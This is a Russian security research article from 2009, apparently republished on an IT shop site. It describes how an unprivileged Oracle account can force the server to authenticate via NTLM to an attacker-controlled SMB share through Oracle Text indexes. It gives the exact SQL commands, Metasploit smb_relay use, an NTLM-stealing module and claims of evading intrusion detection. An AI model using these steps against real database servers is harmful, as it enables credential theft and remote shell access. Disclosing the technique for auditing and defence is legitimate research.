(495) 925-0049, ITShop интернет-магазин 229-0436, Учебный Центр 925-0049
  Главная страница Карта сайта Контакты
Поиск
Вход
Регистрация
Рассылки сайта
 
 
 
 
 

Получение доступа к ОС, используя непривилегированную учетную запись в СУБД Oracle

 Автор: Александр Поляков, Digitаl Security Research Group (DSecRG)

Вступление

Однажды   в   ходе   аудита   очередной   корпоративной   сети   я   получил непривилегированную учетную запись в СУБД Oracle и мне был необходим доступ к командной   строке   сервера,   на   которой   установлена   эта   СУБД.   Ситуация стандартная -  запускаем  любой  эксплоит,  повышающий  привилегии,  а  дальше, получив права DBA, можем получить доступ к ОС множеством различных способов таких как EXTProc, Java, Ext Job и прочие [1].

 Но  тут  я  задумался,  а  что  если  в  СУБД,  будут  установлены  последние критические обновления, да еще и будет установлена специализированная   система обнаружения   и   предотвращения   вторжений,   реагирующую   на   неизвестные уязвимости. В таком случае повысить привилегии при помощи очередной SQL-инъекции и получить доступ к командной строке ОС так просто не получится. Безусловно, есть и   другие   способы   повышения   привилегий:   поискать   пароли   в   базе   данных, подсоединиться к tnslistener изнутри, переписать лог-файл командами и поместить его в автозагрузку или, наконец, изучить набор привилегий, данных пользователю; возможно, там есть что-нибудь вроде  "SELECT ANY DICTIONARY". В общем, способы есть, но слишком уж у них много разных "если", а ведь должно же быть что-нибудь простое и универсальное.

Итак,  перед  нами  задача  -  получить  командную  строку  на  сервере,  имея минимальные права в СУБД Oracle, установленной на этом сервере и не пользуясь известными уязвимостями повышающим привилегии.

Немного о Pass The Hash

Это  общеизвестный  факт,  что  ОС  Windows  позволяет  аутентифицироваться  с использованием протокола NTLM, используя только хэш пароля. И, скорее всего, вы пользовались  утилитами  вроде  msvctl,  pass  the  hash  toolkit,  PtH-pwner  и  прочими излюбленными  аудиторами  утилитами,  позволяющими  получив  один  единственный (если повезет) LM/NTLM-хэш учетной записи, в считанные секунды получить доступ ко всему домену [2]. Это все, конечно, замечательно, но только как получить этот заветный хэш - вот в чем вопрос.

Для того чтобы получить хеш учетной записи, от которой запущена СУБД, есть два пути. Первый - получить административный доступ к ОС и вытащить хеш из локального хранилища LSA. Этот путь мы сразу отбрасываем, так как административный доступ в ОС это и есть наша цель. Второй - это заставить СУБД Oracle инициировать NTLM challengeresponse аутентификацию на подконтрольный нами SMB-сервер, тем самым получить хеш пользователя, от имени которого запущена СУБД.

Подключение к удаленному SMB-серверу

Для того чтобы организовать эту идею технически, необходимо найти способ, как через СУБД осуществлять доступ к сетевым файлам. Способов таких много (см. таблицу), но, к сожалению, практически все они требуют высоких привилегий, имея которые, мы и так можем получить командную строку на сервере.

 

Название метода

Требуемые привилегии

ExtProc

CREATE ANY LABRARY

Java

JAVAADMIN

JOB Scheduler

CREATE EXTERNAL JOB

Change PLSQL compiler

ALTER SYSEM

UTL_FILE

CREATE ANY DIRECTORY

DBMS_JOB

CREATE ANY DIRECTORY

DBMS_ADVISOR

CREATE ANY DIRECTORY

Остается только один вариант - чтение файлов через ctxsys.context индексы (Oracle TEXT). Данный способ был представлен Александром Корнбрустом (Alexander Kornbrust) в своем блоге в качестве одного из способов чтения локальных файлов. В описании было заявлено, что для реализации этого метода пользователю требуется роль CTXAPP, что уже интереснее.

Как  оказалось  в  ходе  моих  исследований,  данная  роль  не  обязательна  для создания индекса и чтения файлов. Об этом написано в руководстве разработчика "Oracle Text Application Developer's Guide 10g Release 2".

Кроме того, данный факт был подтвержден на практике в результате проверки на СУБД Oracle  10g R2. Это уже неплохо, так как получается, что, имея права обычного пользователя в СУБД, мы можем читать любые файлы, но хочется большего.

В ходе исследований оказалось, что, используя данный метод, можно получать доступ не только к локальным, но и к сетевым файлам, а, следовательно, таким образом мы сможем инициировать NTLM challenge-response аутентификацию.

Как   итог,   мы   получаем   возможность   перехвата   NTLM   challenge-response аутентификации  (а  также  возможно  и  получения  удаленного  доступа  к  командной строке), имея учетную запись в СУБД Oracle, обладающую только стандартными ролями CONNECT и RESOURCE, которые присутствуют практически у любого пользователя.

Техническая реализация

Для того чтобы получить доступ к сетевому файлу, сперва необходимо создать вспомогательную таблицу.

SQL>  CREATE  TABLE  files  (id  NUMBER  PRIMARY  KEY,  path  VARCHAR(255)  UNIQUE, ot_format  VARCHAR(6));

После чего, помещаем в таблицу путь к сетевой папке, где у нас установлен SMB сервер.

INSERT  INTO  files  VALUES  (1,  "\\172.16.1.3\SHARE",  NULL);

И, наконец, создаем индекс типа ctxsys.context на столбец, в котором записан путь к файлу.

CREATE  INDEX  file_index  ON  files(path)  INDEXTYPE  IS  ctxsys.context PARAMETERS  ("datastore  ctxsys.file_datastore  format  column  ot_format");

При  создании  индекса  СУБД  инициализирует  сетевое  соединение  по  адресу \\172.16.1.3\SHARE и попытается аутентифицироваться от имени пользователя, с правами которого запущена СУБД.

Если предварительно установить поддельный SMB-сервер по адресу 172.16.1.3, то мы  получим HALFLM-хэш пароля.  [5] А  если учитывать, что  challenge  мы  указываем самостоятельно, то расшифровать пароль не составит труда, в этом нам могут помочь Raibow-таблицы. После расшифровки пароля мы получим доступ на сервере, чего и добивались.

Но  это  еще  не  все.  Расшифровать  пароль  возможно  не  всегда,  но  это  и  не обязательно. Если воспользоваться утилитой SMB-relay встроенной в Metasploit, то мы сможем инициализировать обратное подключение к серверу, используя перехваченную аутентификацию,  и  тем  самым,  получить  командную  строку  на  сервере,  даже  не расшифровывая пароль.

Автоматизация атаки. Модуль ora_ntlm_stealer для Metasploit

Для  удобства  проведения  атаки  был  создан  модуль  ora_ntlm_stealer для Metasploit, который осуществляет данную атаку. Для ее реализации необходимо вначале запустить модуль smb_relay из набора Metasploit.

Модуль smb_relay из набора Metasploit

После чего запускаем модуль ora_ntlm_stealer и прописываем ему в качестве параметра IP-адрес SMB-сервера, где мы запустили smb_relay. После чего запускаем модуль и получаем на выходе исходный код процедуры, которую надо запустить в СУБД.

Процесс работы модуля ora_ntlm_stealer

 После того, как код сгенерирован, мы подключаемся к СУБД при помощи любой из доступных нам учетных записей, например, SCOTT или DBSNMP, проверяем, что у нас нет никаких привилегий кроме как CONNECT и RESOURCE и запускаем эксплоит.

Подключение к СУБД и запуск эксплоиита

После  того,  как  эксплоит  сработает,  мы  сможем  увидеть  в  консоли  модуля smb_relay, как некто с IP-адресом  172.16.0.113 пытался подключиться к SMB-серверу. Соединение  было  запущено  от  имени  пользователя  Administrator,  под  которым функционирует СУБД.

Результат атаки - получен доступ к командной строке

Таким  образом,  мы,  во-первых,  получили  хеш  учетной  записи  Administrator, которая имеет административные права в системе, а во-вторых, получили командную строку на сервере, где установлена СУБД Oracle.

Перехват HTTP NTLM

Есть  еще  один  способ  получения  доступа  к  ОС -  перехват  NTLM  HTTP аутентификации. [8] Правда в этом случае нам придется потрудиться над расшифровкой хэшей паролей, так как в том виде, в каком они нам будут представлены при перехвате NTLM  HTTP  аутентификации,  их  нельзя  будет  использовать  для  обычной  NTLM аутентификации  и  получения  удаленного  доступа.  Этот  способ  реализуется  утилитой squirtle [9],  которая  запускает  подконтрольный  веб-сервер  и  заставляет  каждого подключившегося клиента инициализировать HTTP NTLM аутентификацию c известным заранее  случайным  значением  "nonce", что позволяет расшифровать в  итоге  пароль клиента, используя заранее рассчитанные Rainbow-таблицы. Для того чтобы реализовать данную атаку можно подключиться к веб-серверу из консоли СУБД Oracle, используя такие пакеты как utl_http или HTTPUriType.

Невидимость для систем обнаружения и других защитных механизмов

Еще одним плюсом этого метода является то, что он не обнаруживается системами обнаружения вторжений, так как использует мало распространенный способ получения доступа к ОС. Написанный модуль для Metasploit дает еще дополнительную защиту от обнаружения, так как использует методы маскировки вредоносного кода.

Данный метод получения доступа к ОС был опробован на популярной системе защиты  для  СУБД  Oracle  -  Sentrigo  Hedgehog  и  дал  положительный  результат  [10]. Никаких записей о возможных попытках атаки обнаружено не было, тем не менее, удаленный доступ к командной строке сервера был получен.

Заключение

В этом документе был представлен один из способов получения доступа к ОС через СУБД Oracle. Его несомненными плюсами является необходимость наличия только лишь  непривилегированной  учетной  записи  в  СУБД  Oracle (как  правило,  согласно различным статистическим исследованиям, порядка 95% СУБД имеют предустановленные учетные  записи  со  стандартными  паролями  или  учетные  записи  со  словарными паролями),  а  также    невидимость  (на  момент  публикации)  для  популярных  систем обнаружения вторжений.

Ссылки по теме


 Распечатать »
 Правила публикации »
  Написать редактору 
 Рекомендовать » Дата публикации: 22.10.2009 
 

Магазин программного обеспечения   WWW.ITSHOP.RU
Oracle Database Personal Edition Named User Plus Software Update License & Support
Oracle Database Standard Edition 2 Processor License
Oracle Database Standard Edition 2 Named User Plus License
Oracle Database Personal Edition Named User Plus License
Купить Антивирус Dr.Web Server Security Suite для сервера
 
Другие предложения...
 
Курсы обучения   WWW.ITSHOP.RU
 
Другие предложения...
 
Магазин сертификационных экзаменов   WWW.ITSHOP.RU
 
Другие предложения...
 
3D Принтеры | 3D Печать   WWW.ITSHOP.RU
 
Другие предложения...
 
Новости по теме
 
Рассылки Subscribe.ru
Информационные технологии: CASE, RAD, ERP, OLAP
Новости ITShop.ru - ПО, книги, документация, курсы обучения
Программирование на Microsoft Access
CASE-технологии
СУБД Oracle "с нуля"
Компьютерные книги. Рецензии и отзывы
Работа в Windows и новости компании Microsoft
 
Статьи по теме
 
Новинки каталога Download
 
Исходники
 
Документация
 
 



    
rambler's top100 Rambler's Top100